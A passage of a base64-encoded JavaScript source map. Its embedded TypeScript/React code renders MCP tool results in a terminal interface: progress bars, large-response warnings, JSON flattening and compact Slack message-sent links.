5zZT5cbiAgICApXG4gIH1cblxuICBpZiAodG90YWwgIT09IHVuZGVmaW5lZCAmJiB0b3RhbCA+IDApIHtcbiAgICBjb25zdCByYXRpbyA9IE1hdGgubWluKDEsIE1hdGgubWF4KDAsIHByb2dyZXNzIC8gdG90YWwpKVxuICAgIGNvbnN0IHBlcmNlbnRhZ2UgPSBNYXRoLnJvdW5kKHJhdGlvICogMTAwKVxuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICB7cHJvZ3Jlc3NNZXNzYWdlICYmIDxUZXh0IGRpbUNvbG9yPntwcm9ncmVzc01lc3NhZ2V9PC9UZXh0Pn1cbiAgICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJyb3dcIiBnYXA9ezF9PlxuICAgICAgICAgICAgPFByb2dyZXNzQmFyIHJhdGlvPXtyYXRpb30gd2lkdGg9ezIwfSAvPlxuICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+e3BlcmNlbnRhZ2V9JTwvVGV4dD5cbiAgICAgICAgICA8L0JveD5cbiAgICAgICAgPC9Cb3g+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICApXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDxNZXNzYWdlUmVzcG9uc2UgaGVpZ2h0PXsxfT5cbiAgICAgIDxUZXh0IGRpbUNvbG9yPntwcm9ncmVzc01lc3NhZ2UgPz8gYFByb2Nlc3NpbmfigKYgJHtwcm9ncmVzc31gfTwvVGV4dD5cbiAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgKVxufVxuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFJlc3VsdE1lc3NhZ2UoXG4gIG91dHB1dDogc3RyaW5nIHwgTUNQVG9vbFJlc3VsdCxcbiAgX3Byb2dyZXNzTWVzc2FnZXNGb3JNZXNzYWdlOiBQcm9ncmVzc01lc3NhZ2U8VG9vbFByb2dyZXNzRGF0YT5bXSxcbiAgeyB2ZXJib3NlLCBpbnB1dCB9OiB7IHZlcmJvc2U6IGJvb2xlYW47IGlucHV0PzogdW5rbm93biB9LFxuKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgbWNwT3V0cHV0ID0gb3V0cHV0IGFzIE1DUFRvb2xSZXN1bHRcblxuICBpZiAoIXZlcmJvc2UpIHtcbiAgICBjb25zdCBzbGFja1NlbmQgPSB0cnlTbGFja1NlbmRDb21wYWN0KG1jcE91dHB1dCwgaW5wdXQpXG4gICAgaWYgKHNsYWNrU2VuZCAhPT0gbnVsbCkge1xuICAgICAgcmV0dXJuIChcbiAgICAgICAgPE1lc3NhZ2VSZXNwb25zZSBoZWlnaHQ9ezF9PlxuICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAgU2VudCBhIG1lc3NhZ2UgdG97JyAnfVxuICAgICAgICAgICAgPEFuc2k+e2NyZWF0ZUh5cGVybGluayhzbGFja1NlbmQudXJsLCBzbGFja1NlbmQuY2hhbm5lbCl9PC9BbnNpPlxuICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgICApXG4gICAgfVxuICB9XG5cbiAgY29uc3QgZXN0aW1hdGVkVG9rZW5zID0gZ2V0Q29udGVudFNpemVFc3RpbWF0ZShtY3BPdXRwdXQpXG4gIGNvbnN0IHNob3dXYXJuaW5nID0gZXN0aW1hdGVkVG9rZW5zID4gTUNQX09VVFBVVF9XQVJOSU5HX1RIUkVTSE9MRF9UT0tFTlNcbiAgY29uc3Qgd2FybmluZ01lc3NhZ2UgPSBzaG93V2FybmluZ1xuICAgID8gYCR7ZmlndXJlcy53YXJuaW5nfSBMYXJnZSBNQ1AgcmVzcG9uc2UgKH4ke2Zvcm1hdE51bWJlcihlc3RpbWF0ZWRUb2tlbnMpfSB0b2tlbnMpLCB0aGlzIGNhbiBmaWxsIHVwIGNvbnRleHQgcXVpY2tseWBcbiAgICA6IG51bGxcblxuICBsZXQgY29udGVudEVsZW1lbnQ6IFJlYWN0LlJlYWN0Tm9kZVxuICBpZiAoQXJyYXkuaXNBcnJheShtY3BPdXRwdXQpKSB7XG4gICAgY29uc3QgY29udGVudEJsb2NrcyA9IG1jcE91dHB1dC5tYXAoKGl0ZW0sIGkpID0+IHtcbiAgICAgIGlmIChpdGVtLnR5cGUgPT09ICdpbWFnZScpIHtcbiAgICAgICAgcmV0dXJuIChcbiAgICAgICAgICA8Qm94XG4gICAgICAgICAgICBrZXk9e2l9XG4gICAgICAgICAgICBqdXN0aWZ5Q29udGVudD1cInNwYWNlLWJldHdlZW5cIlxuICAgICAgICAgICAgb3ZlcmZsb3dYPVwiaGlkZGVuXCJcbiAgICAgICAgICAgIHdpZHRoPVwiMTAwJVwiXG4gICAgICAgICAgPlxuICAgICAgICAgICAgPE1lc3NhZ2VSZXNwb25zZSBoZWlnaHQ9ezF9PlxuICAgICAgICAgICAgICA8VGV4dD5bSW1hZ2VdPC9UZXh0PlxuICAgICAgICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgICAgPC9Cb3g+XG4gICAgICAgIClcbiAgICAgIH1cbiAgICAgIC8vIEZvciB0ZXh0IGJsb2NrcyBhbmQgYW55IG90aGVyIGJsb2NrIHR5cGVzLCBleHRyYWN0IHRleHQgaWYgYXZhaWxhYmxlXG4gICAgICBjb25zdCB0ZXh0Q29udGVudCA9XG4gICAgICAgIGl0ZW0udHlwZSA9PT0gJ3RleHQnICYmXG4gICAgICAgICd0ZXh0JyBpbiBpdGVtICYmXG4gICAgICAgIGl0ZW0udGV4dCAhPT0gbnVsbCAmJlxuICAgICAgICBpdGVtLnRleHQgIT09IHVuZGVmaW5lZFxuICAgICAgICAgID8gU3RyaW5nKGl0ZW0udGV4dClcbiAgICAgICAgICA6ICcnXG4gICAgICByZXR1cm4gZmVhdHVyZSgnTUNQX1JJQ0hfT1VUUFVUJykgPyAoXG4gICAgICAgIDxNQ1BUZXh0T3V0cHV0IGtleT17aX0gY29udGVudD17dGV4dENvbnRlbnR9IHZlcmJvc2U9e3ZlcmJvc2V9IC8+XG4gICAgICApIDogKFxuICAgICAgICA8T3V0cHV0TGluZSBrZXk9e2l9IGNvbnRlbnQ9e3RleHRDb250ZW50fSB2ZXJib3NlPXt2ZXJib3NlfSAvPlxuICAgICAgKVxuICAgIH0pXG5cbiAgICAvLyBXcmFwIGFycmF5IGNvbnRlbnQgaW4gYSBjb2x1bW4gbGF5b3V0XG4gICAgY29udGVudEVsZW1lbnQgPSAoXG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiB3aWR0aD1cIjEwMCVcIj5cbiAgICAgICAge2NvbnRlbnRCbG9ja3N9XG4gICAgICA8L0JveD5cbiAgICApXG4gIH0gZWxzZSBpZiAoIW1jcE91dHB1dCkge1xuICAgIGNvbnRlbnRFbGVtZW50ID0gKFxuICAgICAgPEJveCBqdXN0aWZ5Q29udGVudD1cInNwYWNlLWJldHdlZW5cIiBvdmVyZmxvd1g9XCJoaWRkZW5cIiB3aWR0aD1cIjEwMCVcIj5cbiAgICAgICAgPE1lc3NhZ2VSZXNwb25zZSBoZWlnaHQ9ezF9PlxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPihObyBjb250ZW50KTwvVGV4dD5cbiAgICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgICA8L0JveD5cbiAgICApXG4gIH0gZWxzZSB7XG4gICAgY29udGVudEVsZW1lbnQgPSBmZWF0dXJlKCdNQ1BfUklDSF9PVVRQVVQnKSA/IChcbiAgICAgIDxNQ1BUZXh0T3V0cHV0IGNvbnRlbnQ9e21jcE91dHB1dH0gdmVyYm9zZT17dmVyYm9zZX0gLz5cbiAgICApIDogKFxuICAgICAgPE91dHB1dExpbmUgY29udGVudD17bWNwT3V0cHV0fSB2ZXJib3NlPXt2ZXJib3NlfSAvPlxuICAgIClcbiAgfVxuXG4gIGlmICh3YXJuaW5nTWVzc2FnZSkge1xuICAgIHJldHVybiAoXG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgPE1lc3NhZ2VSZXNwb25zZSBoZWlnaHQ9ezF9PlxuICAgICAgICAgIDxUZXh0IGNvbG9yPVwid2FybmluZ1wiPnt3YXJuaW5nTWVzc2FnZX08L1RleHQ+XG4gICAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICB7Y29udGVudEVsZW1lbnR9XG4gICAgICA8L0JveD5cbiAgICApXG4gIH1cblxuICByZXR1cm4gY29udGVudEVsZW1lbnRcbn1cblxuLyoqXG4gKiBSZW5kZXIgTUNQIHRleHQgb3V0cHV0LiBUcmllcyB0aHJlZSBzdHJhdGVnaWVzIGluIG9yZGVyOlxuICogMS4gSWYgSlNPTiB3cmFwcyBhIHNpbmdsZSBkb21pbmFudCB0ZXh0IHBheWxvYWQgKGUuZy4gc2xhY2snc1xuICogICAge1wibWVzc2FnZXNcIjpcImxpbmUxXFxubGluZTIuLi5cIn0pLCB1bndyYXAgYW5kIGxldCBPdXRwdXRMaW5lIHRydW5jYXRlLlxuICogMi4gSWYgSlNPTiBpcyBhIHNtYWxsIGZsYXQtaXNoIG9iamVjdCwgcmVuZGVyIGFzIGFsaWduZWQga2V5OiB2YWx1ZS5cbiAqIDMuIE90aGVyd2lzZSBmYWxsIHRocm91Z2ggdG8gT3V0cHV0TGluZSAocHJldHR5LXByaW50ICsgdHJ1bmNhdGUpLlxuICovXG5mdW5jdGlvbiBNQ1BUZXh0T3V0cHV0KHtcbiAgY29udGVudCxcbiAgdmVyYm9zZSxcbn06IHtcbiAgY29udGVudDogc3RyaW5nXG4gIHZlcmJvc2U6IGJvb2xlYW5cbn0pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCB1bndyYXBwZWQgPSB0cnlVbndyYXBUZXh0UGF5bG9hZChjb250ZW50KVxuICBpZiAodW53cmFwcGVkICE9PSBudWxsKSB7XG4gICAgcmV0dXJuIChcbiAgICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICAgIHt1bndyYXBwZWQuZXh0cmFzLmxlbmd0aCA+IDAgJiYgKFxuICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICAgIHt1bndyYXBwZWQuZXh0cmFzLm1hcCgoW2ssIHZdKSA9PiBgJHtrfTogJHt2fWApLmpvaW4oJyDCtyAnKX1cbiAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICApfVxuICAgICAgICAgIDxPdXRwdXRMaW5lIGNvbnRlbnQ9e3Vud3JhcHBlZC5ib2R5fSB2ZXJib3NlPXt2ZXJib3NlfSBsaW5raWZ5VXJscyAvPlxuICAgICAgICA8L0JveD5cbiAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgIClcbiAgfVxuICBjb25zdCBmbGF0ID0gdHJ5RmxhdHRlbkpzb24oY29udGVudClcbiAgaWYgKGZsYXQgIT09IG51bGwpIHtcbiAgICBjb25zdCBtYXhLZXlXaWR0aCA9IE1hdGgubWF4KC4uLmZsYXQubWFwKChba10pID0+IHN0cmluZ1dpZHRoKGspKSlcbiAgICByZXR1cm4gKFxuICAgICAgPE1lc3NhZ2VSZXNwb25zZT5cbiAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCI+XG4gICAgICAgICAge2ZsYXQubWFwKChba2V5LCB2YWx1ZV0sIGkpID0+IChcbiAgICAgICAgICAgIDxUZXh0IGtleT17aX0+XG4gICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPntrZXkucGFkRW5kKG1heEtleVdpZHRoKX06IDwvVGV4dD5cbiAgICAgICAgICAgICAgPEFuc2k+e2xpbmtpZnlVcmxzSW5UZXh0KHZhbHVlKX08L0Fuc2k+XG4gICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgKSl9XG4gICAgICAgIDwvQm94PlxuICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgKVxuICB9XG4gIHJldHVybiA8T3V0cHV0TGluZSBjb250ZW50PXtjb250ZW50fSB2ZXJib3NlPXt2ZXJib3NlfSBsaW5raWZ5VXJscyAvPlxufVxuXG4vKipcbiAqIFBhcnNlIGNvbnRlbnQgYXMgYSBKU09OIG9iamVjdCBhbmQgcmV0dXJuIGl0cyBlbnRyaWVzLiBOdWxsIGlmIGNvbnRlbnRcbiAqIGRvZXNuJ3QgcGFyc2UsIGlzbid0IGFuIG9iamVjdCwgaXMgdG9vIGxhcmdlLCBvciBoYXMgMC90b28tbWFueSBrZXlzLlxuICovXG5mdW5jdGlvbiBwYXJzZUpzb25FbnRyaWVzKFxuICBjb250ZW50OiBzdHJpbmcsXG4gIHsgbWF4Q2hhcnMsIG1heEtleXMgfTogeyBtYXhDaGFyczogbnVtYmVyOyBtYXhLZXlzOiBudW1iZXIgfSxcbik6IFtzdHJpbmcsIHVua25vd25dW10gfCBudWxsIHtcbiAgY29uc3QgdHJpbW1lZCA9IGNvbnRlbnQudHJpbSgpXG4gIGlmICh0cmltbWVkLmxlbmd0aCA9PT0gMCB8fCB0cmltbWVkLmxlbmd0aCA+IG1heENoYXJzIHx8IHRyaW1tZWRbMF0gIT09ICd7Jykge1xuICAgIHJldHVybiBudWxsXG4gIH1cbiAgbGV0IHBhcnNlZDogdW5rbm93blxuICB0cnkge1xuICAgIHBhcnNlZCA9IGpzb25QYXJzZSh0cmltbWVkKVxuICB9IGNhdGNoIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG4gIGlmIChwYXJzZWQgPT09IG51bGwgfHwgdHlwZW9mIHBhcnNlZCAhPT0gJ29iamVjdCcgfHwgQXJyYXkuaXNBcnJheShwYXJzZWQpKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuICBjb25zdCBlbnRyaWVzID0gT2JqZWN0LmVudHJpZXMocGFyc2VkKVxuICBpZiAoZW50cmllcy5sZW5ndGggPT09IDAgfHwgZW50cmllcy5sZW5ndGggPiBtYXhLZXlzKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuICByZXR1cm4gZW50cmllc1xufVxuXG4vKipcbiAqIElmIGNvbnRlbnQgcGFyc2VzIGFzIGEgSlNPTiBvYmplY3Qgd2hlcmUgZXZlcnkgdmFsdWUgaXMgYSBzY2FsYXIgb3IgYVxuICogc21hbGwgbmVzdGVkIG9iamVjdCwgZmxhdHRlbiBpdCB0byBba2V5LCBkaXNwbGF5VmFsdWVdIHBhaXJzLiBOZXN0ZWRcbiAqIG9iamVjdHMgZ2V0IG9uZS1saW5lIEpTT04uIFJldHVybnMgbnVsbCBpZiBjb250ZW50IGRvZXNuJ3QgcXVhbGlmeS5cbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIHRyeUZsYXR0ZW5Kc29uKGNvbnRlbnQ6IHN0cmluZyk6IFtzdHJpbmcsIHN0cmluZ11bXSB8IG51bGwge1xuICBjb25zdCBlbnRyaWVzID0gcGFyc2VKc29uRW50cmllcyhjb250ZW50LCB7XG4gICAgbWF4Q2hhcnM6IE1BWF9GTEFUX0pTT05fQ0hBUlMsXG4gICAgbWF4S2V5czogTUFYX0ZMQVRfSlNPTl9LRVlTLFxuICB9KVxuICBpZiAoZW50cmllcyA9PT0gbnVsbCkgcmV0dXJuIG51bGxcbiAgY29uc3QgcmVzdWx0OiBbc3RyaW5nLCBzdHJpbmddW10gPSBbXVxuICBmb3IgKGNvbnN0IFtrZXksIHZhbHVlXSBvZiBlbnRyaWVzKSB7XG4gICAgaWYgKHR5cGVvZiB2YWx1ZSA9PT0gJ3N0cmluZycpIHtcbiAgICAgIHJlc3VsdC5wdXNoKFtrZXksIHZhbHVlXSlcbiAgICB9IGVsc2UgaWYgKFxuICAgICAgdmFsdWUgPT09IG51bGwgfHxcbiAgICAgIHR5cGVvZiB2YWx1ZSA9PT0gJ251bWJlcicgfHxcbiAgICAgIHR5cGVvZiB2YWx1ZSA9PT0gJ2Jvb2xlYW4nXG4gICAgKSB7XG4gICAgICByZXN1bHQucHVzaChba2V5LCBTdHJpbmcodmFsdWUpXSlcbiAgICB9IGVsc2UgaWYgKHR5cGVvZiB2YWx1ZSA9PT0gJ29iamVjdCcpIHtcbiAgICAgIGNvbnN0IGNvbXBhY3QgPSBqc29uU3RyaW5naWZ5KHZhbHVlKVxuICAgICAgaWYgKGNvbXBhY3QubGVuZ3RoID4gMTIwKSByZXR1cm4gbnVsbFxuICAgICAgcmVzdWx0LnB1c2goW2tleSwgY29tcGFjdF0pXG4gICAgfSBlbHNlIHtcbiAgICAgIHJldHVybiBudWxsXG4gICAgfVxuICB9XG4gIHJldHVybiByZXN1bHRcbn1cblxuLyoqXG4gKiBJZiBjb250ZW50IGlzIGEgSlNPTiBvYmplY3Qgd2hlcmUgb25lIGtleSBob2xkcyBhIGRvbWluYW50IHN0cmluZyBwYXlsb2FkXG4gKiAobXVsdGlsaW5lIG9yIGxvbmcpIGFuZCBhbGwgc2libGluZ3MgYXJlIHNtYWxsIHNjYWxhcnMsIHVud3JhcCBpdC4gVGhpc1xuICogaGFuZGxlcyB0aGUgY29tbW9uIE1DUCBwYXR0ZXJuIG9mIHtcIm1lc3NhZ2VzXCI6XCJsaW5lMVxcbmxpbmUyLi4uXCJ9IHdoZXJlXG4gKiBwcmV0dHktcHJpbnRpbmcga2VlcHMgXFxuIGVzY2FwZWQgYnV0IHdlIHdhbnQgcmVhbCBsaW5lIGJyZWFrcyArIHRydW5jYXRpb24uXG4gKi9cbmV4cG9ydCBmdW5jdGlvbiB0cnlVbndyYXBUZXh0UGF5bG9hZChcbiAgY29udGVudDogc3RyaW5nLFxuKTogeyBib2R5OiBzdHJpbmc7IGV4dHJhczogW3N0cmluZywgc3RyaW5nXVtdIH0gfCBudWxsIHtcbiAgY29uc3QgZW50cmllcyA9IHBhcnNlSnNvbkVudHJpZXMoY29udGVudCwge1xuICAgIG1heENoYXJzOiBNQVhfSlNPTl9QQVJTRV9DSEFSUyxcbiAgICBtYXhLZXlzOiA0LFxuICB9KVxuICBpZiAoZW50cmllcyA9PT0gbnVsbCkgcmV0dXJuIG51bGxcbiAgLy8gRmluZCB0aGUgb25lIGRvbWluYW50IHN0cmluZyBwYXlsb2FkLiBUcmltIGZpcnN0OiBhIHRyYWlsaW5nIFxcbiBvbiBhXG4gIC8vIHNob3J0IHNpYmxpbmcgKGUuZy4gcGFnaW5hdGlvbiBoaW50cykgc2hvdWxkbid0IG1ha2UgaXQgXCJkb21pbmFudFwiLlxuICBsZXQgYm9keTogc3RyaW5nIHwgbnVsbCA9IG51bGxcbiAgY29uc3QgZXh0cmFzOiBbc3RyaW5nLCBzdHJpbmddW10gPSBbXVxuICBmb3IgKGNvbnN0IFtrZXksIHZhbHVlXSBvZiBlbnRyaWVzKSB7XG4gICAgaWYgKHR5cGVvZiB2YWx1ZSA9PT0gJ3N0cmluZycpIHtcbiAgICAgIGNvbnN0IHQgPSB2YWx1ZS50cmltRW5kKClcbiAgICAgIGNvbnN0IGlzRG9taW5hbnQgPVxuICAgICAgICB0Lmxlbmd0aCA+IFVOV1JBUF9NSU5fU1RSSU5HX0xFTiB8fCAodC5pbmNsdWRlcygnXFxuJykgJiYgdC5sZW5ndGggPiA1MClcbiAgICAgIGlmIChpc0RvbWluYW50KSB7XG4gICAgICAgIGlmIChib2R5ICE9PSBudWxsKSByZXR1cm4gbnVsbCAvLyB0d28gYmlnIHN0cmluZ3Mg4oCUIGFtYmlndW91c1xuICAgICAgICBib2R5ID0gdFxuICAgICAgICBjb250aW51ZVxuICAgICAgfVxuICAgICAgaWYgKHQubGVuZ3RoID4gMTUwKSByZXR1cm4gbnVsbFxuICAgICAgZXh0cmFzLnB1c2goW2tleSwgdC5yZXBsYWNlKC9cXHMrL2csICcgJyldKVxuICAgIH0gZWxzZSBpZiAoXG4gICAgICB2YWx1ZSA9PT0gbnVsbCB8fFxuICAgICAgdHlwZW9mIHZhbHVlID09PSAnbnVtYmVyJyB8fFxuICAgICAgdHlwZW9mIHZhbHVlID09PSAnYm9vbGVhbidcbiAgICApIHtcbiAgICAgIGV4dHJhcy5wdXNoKFtrZXksIFN0cmluZyh2YWx1ZSldKVxuICAgIH0gZWxzZSB7XG4gICAgICByZXR1cm4gbnVsbCAvLyBuZXN0ZWQgb2JqZWN0L2FycmF5IOKAlCB1c2UgZmxhdCBvciBwcmV0dHktcHJpbnQgcGF0aFxuICAgIH1cbiAgfVxuICBpZiAoYm9keSA9PT0gbnVsbCkgcmV0dXJuIG51bGxcbiAgcmV0dXJuIHsgYm9keSwgZXh0cmFzIH1cbn1cblxuY29uc3QgU0xBQ0tfQVJDSElWRVNfUkUgPVxuICAvXmh0dHBzOlxcL1xcL1thLXowLTktXStcXC5zbGFja1xcLmNvbVxcL2FyY2hpdmVzXFwvKFtBLVowLTldKylcXC9wXFxkKyQvXG5cbi8qKlxuICogRGV0ZWN0IGEgU2xhY2sgc2VuZC1tZXNzYWdlIHJlc3VsdCBhbmQgcmV0dXJuIGEgY29tcGFjdCB7Y2hhbm5lbCwgdXJsfSBwYWlyLlxuICogTWF0Y2hlcyBib3RoIGhvc3RlZCAoY2xhdWRlLmFpIFNsYWNrKSBhbmQgY29tbXVuaXR5IE1DUCBzZXJ2ZXIgc2hhcGVzIOKAlFxuICogYm90aCByZXR1cm4gYG1lc3NhZ2VfbGlua2AgaW4gdGhlIHJlc3VsdC4gVGhlIGNoYW5uZWwgbGFiZWwgcHJlZmVycyB0aGVcbiAqIHRvb2wgaW5wdXQgKG1heSBiZSBhIG5hbWUgbGlrZSBcIiNmb29cIiBvciBhbiBJRCBsaWtlIFwiQzA5RVZEQU4xTktcIikgYW5kXG4gKiBmYWxscyBiYWNrIHRvIHRoZSBJRCBwYXJzZWQgZnJvbSB0aGUgYXJjaGl2ZXMgVVJMLlxuICovXG5leHBvcnQgZnVuY3Rpb24gdHJ5U2xhY2tTZW5kQ29tcGFjdChcbiAgb3V0cHV0OiBzdHJpbmcgfCBNQ1BUb29sUmVzdWx0LFxuICBpbnB1dDogdW5rbm93bixcbik6IHsgY2hhbm5lbDogc3RyaW5nOyB1cmw6IHN0cmluZyB9IHwgbnVsbCB7XG4gIGxldCB0ZXh0OiB1bmtub3duID0gb3V0cHV0XG4gIGlmIChBcnJheS5pc0FycmF5KG91dHB1dCkpIHtcbiAgICBjb25zdCBibG9jayA9IG91dHB1dC5maW5kKGIgPT4gYi50eXBlID09PSAndGV4dCcpXG4gICAgdGV4dCA9IGJsb2NrICYmICd0ZXh0JyBpbiBibG9jayA/IGJsb2NrLnRleHQgOiB1bmRlZmluZWRcbiAgfVxuICBpZiAodHlwZW9mIHRleHQgIT09ICdzdHJpbmcnIHx8ICF0ZXh0LmluY2x1ZGVzKCdcIm1lc3NhZ2VfbGlua1wiJykpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgY29uc3QgZW50cmllcyA9IHBhcnNlSnNvbkVudHJpZXModGV4dCwgeyBtYXhDaGFyczogMjAwMCwgbWF4S2V5czogNiB9KVxuICBjb25zdCB1cmwgPSBlbnRyaWVzPy5maW5kKChba10pID0+IGsgPT09ICdtZXNzYWdlX2xpbmsnKT8uWzFdXG4gIGlmICh0eXBlb2YgdXJsICE9PSAnc3RyaW5nJykgcmV0dXJuIG51bGxcbiAgY29uc3QgbSA9IFNMQUNLX0FSQ0hJVkVTX1JFLmV4ZWModXJsKVxuICBpZiAoIW0pIHJldHVybiBudWxsXG5cbiAgY29uc3QgaW5wID0gaW5wdXQgYXMgeyBjaGFubmVsX2lkPzogdW5rbm93bjsgY2hhbm5lbD86IHVua25vd24gfSB8IHVuZGVmaW5lZFxuICBjb25zdCByYXcgPSBpbnA/LmNoYW5uZWxfaWQgPz8gaW5wPy5jaGFubmVsID8/IG1bMV1cbiAgY29uc3QgbGFiZWwgPSB0eXBlb2YgcmF3ID09PSAnc3RyaW5nJyAmJiByYXcgPyByYXcgOiAnc2xhY2snXG4gIHJldHVybiB7IGNoYW5uZW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